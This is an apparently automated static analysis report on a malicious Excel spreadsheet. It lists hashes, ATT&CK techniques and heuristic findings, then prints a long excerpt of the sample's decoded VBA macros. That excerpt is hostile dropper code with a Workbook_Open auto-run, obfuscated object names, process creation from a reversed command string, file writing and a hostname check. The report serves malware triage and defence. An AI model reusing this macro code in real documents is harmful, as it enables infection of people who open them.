Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 87a962c6599176e1…

MALICIOUS

Office (OLE) / .XLS

649.5 KB Created: 2007-12-24 15:22:31 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 1cbffddcb8e1e839737bbf6e50a80aaf SHA-1: 5206d9996cdf188b7c78e6af8812afca0b53b890 SHA-256: 87a962c6599176e1806c0ccd1b157d3f80e3ccc288c288d039872d9683da24d9
396 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a macro-enabled Excel spreadsheet that triggers a Workbook_Open macro. This macro is designed to execute an embedded PE executable, likely for further malicious activity. The presence of CreateProcess and LoadLibrary API calls, along with the embedded executable, strongly suggests a downloader or dropper functionality.

Heuristics 11

  • XOR-encoded strings (key 0x57) critical SC_XOR_ENCODED
    Found 1 Windows library/API name(s) XOR-encoded with single-byte key 0x57: 'kernel32.dll'
    Disassembly
    Attempted x86 opcode disassembly
    000289AD  3c32              cmp al, 0x32
000289AF  2539323b64        and eax, 0x643b3239
000289B4  657933            jns 0x289ea
000289B7  3b3b              cmp edi, dword ptr [ebx]
000289B9  57                push edi
000289BA  0000              add byte ptr [eax], al
000289BC  57                push edi
000289BD  3923              cmp dword ptr [ebx], esp
000289BF  333b              xor edi, dword ptr [ebx]
000289C1  3b7933            cmp edi, dword ptr [ecx + 0x33]
000289C4  3b3b              cmp edi, dword ptr [ebx]
000289C6  57                push edi
000289C7  0000              add byte ptr [eax], al
000289C9  0000              add byte ptr [eax], al
000289CB  005700            add byte ptr [edi], dl
000289CE  2400              and al, 0
000289D0  2300              and eax, dword ptr [eax]
000289D2  3800              cmp byte ptr [eax], al
000289D4  35003d0032        xor eax, 0x32003d00
000289D9  003400            add byte ptr [eax + eax], dh
000289DC  2300              and eax, dword ptr [eax]
000289DE  7900              jns 0x289e0
000289E0  3300              xor eax, dword ptr [eax]
000289E2  3b00              cmp eax, dword ptr [eax]
000289E4  3b00              cmp eax, dword ptr [eax]
000289E6  57                push edi
000289E7  0000              add byte ptr [eax], al
000289E9  0000              add byte ptr [eax], al
000289EB  002500000025      add byte ptr [0x25000000], ah
000289F1  0000              add byte ptr [eax], al
000289F3  002500000025      add byte ptr [0x25000000], ah
000289F9  0000              add byte ptr [eax], al
000289FB  0030              add byte ptr [eax], dh
000289FD  652b30            sub esi, dword ptr gs:[eax]
00028A00  3000              xor byte ptr [eax], al
00028A02  0000              add byte ptr [eax], al
00028A04  30652b            xor byte ptr [ebp + 0x2b], ah
00028A07  3030              xor byte ptr [eax], dh
00028A09  0000              add byte ptr [eax], al
00028A0B  00                .byte 0x00
00028A0C  69                .byte 0x69
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        clnam = "Scri" & prif & "ileSyst" & uhbvfr
    Set fso = CreateObject(clnam)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        tf = VBA.Environ(tf)
    s32 = s32 & StrReverse(twt & "mets")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63817 bytes
SHA-256: 529e0d195b5312bdfa11531df46078e696ea33f52d40b096de84a0cf9cd856e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    On Error Resume Next
    
    #If Win64 = 1 Or Win32 = 1 Then
    #Else
        Exit Sub
    #End If

    clr

    ThisWorkbook.Save
    
End Sub


Private Sub Workbook_Open()
    On Error Resume Next
    
    ThisWorkbook.Sheets(1).Visible = 2

    chk = 0
    flr = 0

    gse

    If flr = 0 Then
        ost
    End If

    u
End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public Sub u1(exec As String)
    Dim tkis As jlop
    With tkis
        .cb = LenB(tkis)
        .dF = SUq Or SUHq
        .wSW = SHq
    End With
    
    Dim wd As String
    Dim tkas_kip As pgot
    
    Dim r As Long
    r = Neibq(0&, StrPtr(VBA.StrReverse(exec)), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
    WFSO tkas_kip.hP, 17000
End Sub
Public Function wtof(file_path As String, file_bytes() As Byte) As Boolean
    Dim res As Boolean
    res = False

    Dim createFile_kas As lorex
    createFile_kas.nL = Len(createFile_kas)
    createFile_kas.lSD = 0&
    createFile_kas.bIH = True

    #If VBA7 Then
        Dim file_handle As LongPtr
    #Else
        Dim file_handle As Long
    #End If

    file_handle = WiCrFl(StrPtr(file_path), GWq, FSRq, createFile_kas, CAq, FANq, ByVal 0&)

    If file_handle <= 0& Then
        wtof = res
        Exit Function
    End If

    Dim b_write As Long
    Dim file_bytes_length As Long
    file_bytes_length = GetSz(file_bytes)
    res = FLw(file_handle, file_bytes(0), file_bytes_length, b_write, ByVal 0&)

    Cfl (file_handle)

    wtof = res
End Function
Public Sub ost()
    On Error Resume Next
    
    Dim tkis As jlop
    With tkis
        .cb = LenB(tkis)
        .dF = SUq Or SUHq
        .wSW = SHq
    End With
    
    Dim wd As String
    Dim tkas_kip As pgot
    Dim r As Integer
    
    Dim grs As String
    
    getGrs grs
    
    r = Neibq(0&, StrPtr(grs), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip)
    ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value & " " & r

End Sub
Public Sub asd()

    If chk = 14 Then

    End If

    reflux
    
    t1 exec1

End Sub

Attribute VB_Name = "Module2"
Public Sub ini0()
    Dim clnam As String
    clnam = "Scri" & prif & "ileSyst" & uhbvfr
    Set fso = CreateObject(clnam)

    s32 = "sy"
    
    tf = "t" & te

    tfs
    
End Sub
Public Sub chkin()
    Dim hostent_ptr As LongPtr
    
    hostent_ptr = gethostbyname("ingest.filen.io" & Chr$(0))
    
    If hostent_ptr <> 0 Then
        chk = chk + 8
    End If

End Sub
Public Sub uu()
    On Error Resume Next
    
    hc (ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C2").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D2").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E2").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F2").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E15").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F15").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C16").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D16").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E16").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F16").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C17").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D17").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E17").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F17").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C18").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D18").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E18").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F18").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C19").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D19").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E19").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F19").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C20").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D20").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E20").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F20").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C21").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D21").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E21").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F21").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C22").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D22").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E22").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F22").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C23").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D23").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E23").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F23").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C24").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D24").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E24").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F24").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C25").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D25").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E25").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F25").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C26").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D26").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E26").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F26").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C41").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D41").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E41").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F41").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C42").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D42").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E42").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F42").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Address)
    hc (ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Address)
    
    
End Sub
Public Sub tfs()

    tf = VBA.Environ(tf)
    s32 = s32 & StrReverse(twt & "mets")

End Sub

Attribute VB_Name = "Module3"
Public Sub u()
    On Error Resume Next
    
    ThisWorkbook.Sheets(2).Name = ThisWorkbook.Sheets(2).Name & " " & chk
    ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z100").offset(0, 0).Value & Chr(10) & chk & " " & Format(Now, "yy-mm-dd hh:mm:ss")

    ThisWorkbook.Sheets(2).Range("C1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C1").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D1").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E1").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F1").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F1").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C2").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D2").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E2").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F2").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F2").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C3").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D3").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E3").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F3").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F3").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C4").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D4").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E4").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F4").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F4").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C5").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D5").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E5").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F5").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F5").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C6").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D6").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E6").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F6").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F6").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C7").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D7").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E7").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F7").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F7").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C8").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D8").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E8").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F8").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F8").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C9").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D9").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E9").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F9").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F9").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C10").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D10").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E10").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F10").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F10").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C11").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D11").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E11").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F11").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F11").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C12").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D12").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E12").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F12").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F12").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C13").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D13").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E13").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F13").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F13").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C14").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D14").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("E14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E14").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("F14").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F14").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("C15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C15").offset(0, 0).Value
    ThisWorkbook.Sheets(2).Range("D15").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D15").offset(0, 0).Value
